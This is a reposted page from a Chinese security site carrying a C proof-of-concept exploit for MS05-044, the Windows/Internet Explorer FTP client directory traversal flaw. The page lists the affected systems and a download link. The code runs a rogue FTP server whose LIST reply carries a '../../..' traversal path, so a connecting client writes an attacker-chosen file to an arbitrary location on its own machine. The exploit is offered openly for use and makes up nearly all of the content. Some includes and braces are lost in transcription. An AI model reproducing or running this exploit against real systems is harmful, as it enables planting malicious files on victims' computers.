⊙ 在线帮助
⊙ 添加收藏
⊙ 网站地图
最新资讯
技术中心
下载园地
漏洞总汇
在线书籍
X-档案
法规标准
技术论坛
 您现在的位置 >> 首页 >> 技术中心 >> 黑客技术 >> exploit >> local
 
 
MS05-044: Microsoft Windows FTP Client File Transfer Location Tampering Exploit

【责 编】:AcOol
【作 者】:不详
【时 间】:2005-10-14
【浏 览】:
【出 处】:天天安全网
【字 体】:[   ]
漏洞资料:
http://www.microsoft.com/china/technet/security/bulletin/ms05-044.mspx
危险程度:
    中等
影响范围:
Microsoft Windows XP Service Pack 1  
Microsoft Windows Server 2003  
Microsoft Windows Server 2003 for Itanium-based Systems  
Microsoft Internet Explorer 6 SP1 on Windows 2000 SP4
程序下载:
http://coolersky.com/common/files/exploit/ms05044-ftpclient-expl.c
程序代码: 
/* 
* Microsoft Internet Explorer FTP Download Directory Traversal PoC Exploit 
*  
* by Albert Puigsech Galicia (ripe / 7a69) 

*/ 

#include  
#include  
#include  
#include  
#include  
#include  
#include  
#include  

#define MAX_BUF 1024 
#define FTP_PORT 21 

int main(int argc, char **argv) { 
char ch; 
char buffer[MAX_BUF + 1]; 
char ipbuf[MAX_BUF + 1]; 
char *local_file, *remote_file; 
int sfdmain, sfdses, sfddata; 
int readed; 
int ip1,ip2,ip3,ip4,port1,port2; 
int fd; 
struct stat st; 
struct sockaddr_in ftpmain = { AF_INET, htons(FTP_PORT), INADDR_ANY }; 
struct sockaddr_in ftpdata; 

if (argc < 3) { 
printf("\t7a69Adv#17 - Internet Explorer FTP Download Directory Traversal PoC Exploit\n"); 
printf("Use:\n"); 
printf("\t%s \n", argv[0]); 
exit(0); 


local_file = argv[1]; 
remote_file = argv[2]; 

if ((fd = open(local_file, O_RDONLY)) == -1) { 
perror("open()"); 
exit(-1); 


if ((sfdmain = socket(AF_INET, SOCK_STREAM, 0)) == -1) { 
perror("socket()"); 
exit(-1); 


if (bind(sfdmain, (struct sockaddr *)&ftpmain, sizeof(struct sockaddr)) == -1) { 
perror("bind()"); 
exit(-1); 


if (listen(sfdmain, 1) == -1) { 
perror("listen()"); 
exit(-1); 


if ((sfdses = accept(sfdmain, NULL, NULL)) == -1) { 
perror("accept()"); 
exit(-1); 


write(sfdses, "200 OK\r\n", 8); 

while ((readed = read(sfdses, buffer, MAX_BUF)) > 0) { 
buffer[readed] = 0; 
printf(">> %s", buffer); 
if (!strncmp(buffer, "noop", 4)) write(sfdses, "200 OK\r\n", 8); 
else if (!strncmp(buffer, "USER ", 5)) write(sfdses, "331 OK\r\n", 8); 
else if (!strncmp(buffer, "PASS ", 5)) write(sfdses, "230 OK\r\n", 8); 
else if (!strncmp(buffer, "CWD ", 4)) write(sfdses, "250 OK\r\n", 8); 
else if (!strncmp(buffer, "PWD", 3)) write(sfdses, "257 \"/\"\r\n", 9); 
else if (!strncmp(buffer, "TYPE ", 5)) write(sfdses, "200 OK\r\n", 8); 
else if (!strncmp(buffer, "PORT ", 5)) { 
sscanf(&buffer[5], "%i,%i,%i,%i,%i,%i", &ip1, &ip2, &ip3, &ip4, &port1, &port2); 
snprintf(ipbuf, MAX_BUF, "%i.%i.%i.%i", ip1, ip2, ip3, ip4); 
ftpdata.sin_family = AF_INET; 
ftpdata.sin_addr.s_addr = inet_addr(ipbuf); 
ftpdata.sin_port = htons(port1*256+port2); 
if ((sfddata = socket(AF_INET, SOCK_STREAM, 0)) == -1) { 
perror("socket()"); 
exit(-1); 

if (connect(sfddata, (struct sockaddr *)&ftpdata, sizeof(struct sockaddr)) == -1) { 
write(sfdses, "421 OK\r\n", 8); 
} else { 
write(sfdses, "220 OK\r\n", 8); 


else if (!strncmp(buffer, "LIST", 4)) { 
write(sfdses, "150 OK\r\n", 8); 
snprintf(buffer, MAX_BUF, "-rwxrwxrwx 1 0 0 1 Dec 08 07:36  
/../../../../../../../../../../..%s\r\n", remote_file); 
write(sfddata, buffer, strlen(buffer)); 
close(sfddata); 
write(sfdses, "226 OK\r\n", 8); 


else if(!strncmp(buffer, "RETR ", 5)) { 
write(sfdses, "150 OK\r\n", 8); 
fstat(fd, &st); 
while(st.st_size-- > 0) { 
read(fd, &ch, 1); 
write(sfddata, &ch, 1); 

close(sfddata); 
write(sfdses, "226 OK\r\n", 8); 

else if (!strncmp(buffer, "QUIT", 4)) { 
write(sfdses, "221 OK\r\n", 8); 
close(sfdses); close(sfdmain); close(sfddata); 

else 
write(sfdses, "500 WTF\r\n", 9); 



}  
·本站特别声明不要转载或作者授权本站独家播发的文章,请勿转载。
·本站原创文章可自由转载,但本站作者及本站链接必须保留。
·非本站原创文章可自由转载,请按作者及文章出处一节,自行链接。
·转载之图片、文件,链接请不要盗链到本站,且不准打上各自站点的水印,亦不能抹去我站点水印。

+ 本站推荐 +
·ARP病毒问题的处理
·千兆以太网技术综述
·解析来自Autorun.inf文件的攻击
·破解Windows XP组策略的“锁死
·Linux Kernel 2.6.13 <= 2.6.1
+ 相关文章 +
·Linux Kernel 2.6.13 <= 2.6.1
·SCO Unixware 7.1.3 ptrace lo
·MySQL 4.x/5.0 User-Defined F
·SuSE Linux <= 9.3, 10 (chfn)
·MS05-045: Microsoft Windows
+ 热点文章 +
·没有硝烟的战争:网络禁用与突
·“Worm.Win32.Viking.i”病毒分
·MSN登陆问题(MSN不能登陆的N种
·CnsMinKP.sys文件损坏导致系统
·Ethereal使用入门
+ 原创文章 +
·“Worm.Win32.Viking.i”病毒分
·信息安全产业三部曲之“敦刻尔
·Dvbbs7.1 sp1 SQL版savepost.a
·针对西京大学网站的一次安全性
·phpBB 2.0.12非法获取管理员权
 
 
关于站点 | 免责申明 | 版权隐私 | 业务合作 | 提供捐助 | 联系我们 Copyright © 2001-2005 CoolerSky. All Rights Reserved.